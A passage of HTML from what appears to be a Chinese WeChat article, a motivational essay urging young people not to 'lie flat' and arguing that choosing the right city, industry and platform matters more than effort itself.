8px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 14px;">只是最近1年多，</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">笔者居住的三里屯区域，</span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 14px;">房租</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">下降了约20%。</span></span></p><p style="margin-top: 0px;"><span leaf=""><span textstyle="" style="font-size: 14px;">吃了5年的外卖，也越吃越便宜，来到5-7折水平。</span></span></p><p style="margin-top: 0px;"><span leaf=""><span textstyle="" style="font-size: 14px;">笔者认识一位花了300万留学回来的女生，在上海开始人生第一份工作，</span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 16px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 14px;">月薪仅</span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 16px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 14px;">1万</span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 16px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 14px;">。</span></span></p><p style="margin-top: 16px;text-indent: 2em;" data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;language:zh-CN; line-height:200%; margin-top:0pt; margin-bottom:0pt; margin-left:0in; text-align:left; direction:ltr; unicode-bidi:embed; mso-line-break-override:\nnone; word-break:normal; punctuation-wrap:hanging;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;font-size:11.0pt; font-family:微软雅黑; mso-ascii-font-family:微软雅黑; mso-fareast-font-family:微软雅黑; mso-bidi-font-family:+mn-cs; mso-bidi-theme-font:minor-bidi; color:red; mso-font-kerning:12.0pt; language:zh-CN; mso-style-textfill-type:solid; mso-style-textfill-fill-color:red; mso-style-textfill-fill-alpha:100.0%;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);font-weight: normal;font-style: italic;">行业处于红利期时，一天一个样。</span></span></p><p style="margin-top: 0px;text-indent: 2em;margin-bottom: 0px;" data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;language:zh-CN; line-height:200%; margin-top:0pt; margin-bottom:0pt; margin-left:0in; text-align:left; direction:ltr; unicode-bidi:embed; mso-line-break-override:\nnone; word-break:normal; punctuation-wrap:hanging;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;font-size:11.0pt; font-family:微软雅黑; mso-ascii-font-family:微软雅黑; mso-fareast-font-family:微软雅黑; mso-bidi-font-family:+mn-cs; mso-bidi-theme-font:minor-bidi; color:red; mso-font-kerning:12.0pt; language:zh-CN; mso-style-textfill-type:solid; mso-style-textfill-fill-color:red; mso-style-textfill-fill-alpha:100.0%;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);font-weight: normal;font-style: italic;">当下，努力和不努力一个样！ </span></span></p><p style="margin-top: 0px;text-indent: 2em;margin-bottom: 0px;" data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;language:zh-CN; line-height:200%; margin-top:0pt; margin-bottom:0pt; margin-left:0in; text-align:left; direction:ltr; unicode-bidi:embed; mso-line-break-override:\nnone; word-break:normal; punctuation-wrap:hanging;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;font-size:11.0pt; font-family:微软雅黑; mso-ascii-font-family:微软雅黑; mso-fareast-font-family:微软雅黑; mso-bidi-font-family:+mn-cs; mso-bidi-theme-font:minor-bidi; color:red; mso-font-kerning:12.0pt; language:zh-CN; mso-style-textfill-type:solid; mso-style-textfill-fill-color:red; mso-style-textfill-fill-alpha:100.0%;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);font-weight: normal;font-style: italic;">年轻人感到努力的回报率在大幅降低。</span></span></p><div data-pm-slice="4 3 []"><p style="margin-top: 0px;text-indent: 2em;" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);font-weight: normal;font-style: italic;">过去，风口之上，</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);font-weight: normal;font-style: italic;">猪在天上飞。</span></span></p><p style="margin-top: 0px;text-indent: 2em;"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);font-weight: normal;font-style: italic;">等到</span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-pm-slice&#34;:&#34;4 3 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 0px; text-indent: 2em;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);font-weight: normal;font-style: italic;">充满干劲的雄鹰你，这2年终于毕业上班的时候，风停了</span></span></p></div><p style="margin-top: 16px;text-indent: 2em;" data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;language:zh-CN; line-height:200%; margin-top:0pt; margin-bottom:0pt; margin-left:0in; text-align:left; direction:ltr; unicode-bidi:embed; mso-line-break-override:\nnone; word-break:normal; punctuation-wrap:hanging;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;font-size:11.0pt; font-family:微软雅黑; mso-ascii-font-family:微软雅黑; mso-fareast-font-family:微软雅黑; mso-bidi-font-family:+mn-cs; mso-bidi-theme-font:minor-bidi; color:red; mso-font-kerning:12.0pt; language:zh-CN; mso-style-textfill-type:solid; mso-style-textfill-fill-color:red; mso-style-textfill-fill-alpha:100.0%;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);font-weight: normal;font-style: italic;">机会越来越少，越来越多的年轻人选择躺平。</span></span></p><p style="margin-top: 0px;text-indent: 2em;" data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;language:zh-CN; line-height:200%; margin-top:0pt; margin-bottom:0pt; margin-left:0in; text-align:left; direction:ltr; unicode-bidi:embed; mso-line-break-override:\nnone; word-break:normal; punctuation-wrap:hanging;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;font-size:11.0pt; font-family:微软雅黑; mso-ascii-font-family:微软雅黑; mso-fareast-font-family:微软雅黑; mso-bidi-font-family:+mn-cs; mso-bidi-theme-font:minor-bidi; color:red; mso-font-kerning:12.0pt; language:zh-CN; mso-style-textfill-type:solid; mso-style-textfill-fill-color:red; mso-style-textfill-fill-alpha:100.0%;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);font-weight: normal;font-style: italic;">300万留学回来的她，终于吃上了美团【拼好饭】。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000173" class="rich_pages wxw-img" data-ratio="1.7695238095238095" data-s="300,640" data-type="png" data-w="1050" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=c3d1a754&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0jezbBnTO9nlw7MI1yfFytEN2s7uamDicdib42uxFIcptU1OgIwj9zuFrDwE73UaFWZtk6XIETms01twWfR8PtLg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 16px;" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 14px;">其实，每一代人都有属于自己的机遇和挑战：</span></span></p><ul style="list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-top: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">我的爷爷年轻时，需要冒着生命危险去打仗</span></span></p></li><li style="font-size:14px;"><p style="margin-top: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">我的父辈，三十多岁时遭遇下岗潮，被迫下岗</span></span></p></li></ul><p style="margin-top: 16px;"><span leaf=""><span textstyle="" style="font-size: 14px;">然而，父辈在下岗的同时，也赶上了</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">改革开放，社会高速变革，城市</span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 14px;">日新月异，</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">造富效应</span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 16px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 14px;">遍地</span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 14px;">，淘金者们实现了阶级大跃迁。</span></span></p><p style="margin-top: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">当下，年轻人也正享受着科技进步带来的便捷。</span></span></p><ul style="list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-top: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">我们可以快速地获取全世界的实时信息</span></span></p></li><li><p style="margin-top: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">AI技术正高速发展</span></span></p></li></ul><p style="margin-top: 16px;"><span leaf=""><span textstyle="" style="font-size: 14px;">经济有周期，行业有周期，出现低谷是正常的。社会正在经历巨大变革。</span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 16px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 14px;">接受宏观环境现实的同时，</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">顺势而为，蛰伏等待。</span></span></p><p style="text-align: center;margin-bottom: 8px;margin-top: 24px;"><span style="color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: center; margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">  </span><span leaf="">你期望什么，就会得到什么</span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: center; margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"> </span></span></p><p style="margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">躺平的本质，是降低预期。心理学中有一个【</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">皮格马利翁效应</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">】</span></span></p><p style="margin-top: 0px;text-indent: 2em;"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);font-weight: normal;font-style: italic;">人们对自我的期望，会不知不觉地影响自己的行为，</span></span></p><p style="margin-top: 0px;text-indent: 2em;"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);font-weight: normal;font-style: italic;">最终导致事物朝着期望的方向发展。</span></span></p><p style="margin-top: 16px;"><span leaf=""><span textstyle="" style="font-size: 14px;">电影《盗梦空间》中的核心概念是 Planting An Idea</span></span></p><p style="margin-top: 8px;text-indent: 2em;" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);font-weight: normal;font-style: italic;">你不能直接给予目标一个完整的想法，</span></span></p><p style="margin-top: 0px;text-indent: 2em;"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);font-weight: normal;font-style: italic;">而是，种下一颗情感的种子，</span></span></p><p style="margin-top: 0px;text-indent: 2em;"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);font-weight: normal;font-style: italic;">让想法在此基础上自然生长。</span></span></p><p style="margin-top: 16px;"><span leaf=""><span textstyle="" style="font-size: 14px;">一</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">个人对自己抱有积极自我期望是无比重要的。 年轻人拒绝彻底躺平，也许有的回报，1个月2个月内，看不到直接效果。但它可能在未来的2年，5年，开花结果。</span></span></p><p style="margin-top: 8px;text-indent: 2em;"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);font-weight: normal;font-style: italic;">你可能觉得，这是既得利益者李姐姐对我的PUA</span></span></p><p style="margin-top: 0px;text-indent: 2em;"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);font-weight: normal;font-style: italic;">你可能觉得，机会和行业红利被李姐姐和他之前的老人都吃完了！</span></span></p><p style="margin-top: 0px;text-indent: 2em;"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);font-weight: normal;font-style: italic;">他们拿走了最大的利益，现在却来叫我们努力</span></span></p><p style="margin-top: 16px;"><span leaf=""><span textstyle="" style="font-size: 14px;">躺平，平凡的人生确实没有错，但没有积极期望是致命的。相当于人一辈子，【想都不敢想】。很多人在大学毕业之后，失去父母为自己规划人生蓝图，野蛮闯荡，凭运气发展。年轻气盛时，好运和贵人会出现得频繁，但这并不是时时刻刻都有的。我记得初中老师经常对我们重复一句话：</span></span></p><p style="margin-top: 8px;text-indent: 2em;"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);font-weight: normal;font-style: italic;">机会只给有准备的人，期望，这就是你最需要的准备之一</span></span></p><p style="margin-top: 16px;"><span leaf=""><span textstyle="" style="font-size: 14px;">当你有了一个强烈的期望，你就会此付出，并逐渐趋近于当初的那个期望。可怕的是没有目标。</span></span></p><p style="text-align: center;margin-bottom: 8px;margin-top: 24px;"><span style="color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="2 2 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: center; margin-bottom: 8px; margin-top: 24px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: center; margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">  选择比努力重要100倍 </span></span></p><p style="margin-top: 16px;"><span leaf=""><span textstyle="" style="font-size: 14px;">在对的地方，才能获得远超个人努力所能带来的平均回报。</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">选择比努力本身重要无数倍。相信我，</span></span></p><p style="margin-top: 8px;text-indent: 2em;"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);font-weight: normal;font-style: italic;">顶尖的平台，放大你的个人能力</span></span></p><p style="margin-top: 0px;text-indent: 2em;"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);font-weight: normal;font-style: italic;">弱小的平台，放大你的平庸，天天跟人抢剩饭，却不自知</span></span></p><p style="margin-top: 16px;"><span leaf=""><span textstyle="" style="font-size: 14px;">在可以选择的范围内，建议年轻人去大城市，去钱多的行业，去高速发展的行业。</span></span></p><p style="margin-top: 0px;"><span leaf=""><span textstyle="" style="font-size: 14px;">比起努力本身，选择一个好赛道 、好平台，才是更重要的。</span></span></p><p style="margin-top: 0px;"><span leaf=""><span textstyle="" style="font-size: 14px;">很多人没有意识到</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">平台效应和趋势红利的作用！在错误的地方努力，等同于浪费生命。</span></span></p><p style="margin-top: 0px;"><span leaf=""><span textstyle="" style="font-size: 14px;">假设，我没有做安全，而去做外卖配送，每天都很拼，最多不过每日多赚个200元，养家糊口。但这200元，对于做安全的我来说，是毫无意义的，浪费10分钟都不可忍受。</span></span></p><p style="text-align: center;margin-bottom: 8px;margin-top: 24px;"><span style="color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="2 2 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: center; margin-bottom: 8px; margin-top: 24px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: center; margin-bottom: 8px; margin-top: 24px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;2 2 [\&#34;para\&#34;,{\&#34;tagName\&#34;:\&#34;section\&#34;,\&#34;attributes\&#34;:{\&#34;style\&#34;:null},\&#34;namespaceURI\&#34;:\&#34;\&#34;},\&#34;para\&#34;,{\&#34;tagName\&#34;:\&#34;section\&#34;,\&#34;attributes\&#34;:{\&#34;style\&#34;:\&#34;text-align: center; margin-bottom: 8px; margin-top: 24px;\&#34;},\&#34;namespaceURI\&#34;:\&#34;http://www.w3.org/1999/xhtml\&#34;}]&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">  </span><span leaf="">理性决策，把握更好的机会</span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: center; margin-bottom: 8px; margin-top: 24px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft 